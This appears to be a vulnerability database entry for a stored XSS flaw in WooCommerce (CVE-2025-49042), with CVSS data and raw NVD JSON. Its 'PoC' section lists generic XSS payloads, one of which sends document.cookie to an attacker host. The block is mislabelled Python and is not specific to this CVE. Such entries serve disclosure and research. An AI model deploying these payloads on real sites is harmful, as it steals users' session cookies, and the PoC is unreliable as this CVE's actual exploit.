Security Vulnerability Report
中文
CVE-2025-49042 CVSS 5.9 MEDIUM

CVE-2025-49042

Published: 2025-10-29 05:15:37
Last Modified: 2026-04-23 15:31:13

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Automattic WooCommerce woocommerce allows Stored XSS.This issue affects WooCommerce: from n/a through <= 10.0.2.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WooCommerce <= 10.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for WooCommerce CVE-2025-49042 --> <!-- 攻击者需要在WooCommerce的输入字段中注入以下payload --> <script>alert(document.cookie)</script> <!-- 或者使用事件处理器 --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- 绕过过滤的payload示例 --> <svg/onload=eval(atob('YWxlcnQoJ1hTUyBBdHRhY2snKQ=='))>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49042", "sourceIdentifier": "[email protected]", "published": "2025-10-29T05:15:37.080", "lastModified": "2026-04-23T15:31:13.170", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Automattic WooCommerce woocommerce allows Stored XSS.This issue affects WooCommerce: from n/a through <= 10.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce/vulnerability/wordpress-woocommerce-plugin-10-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}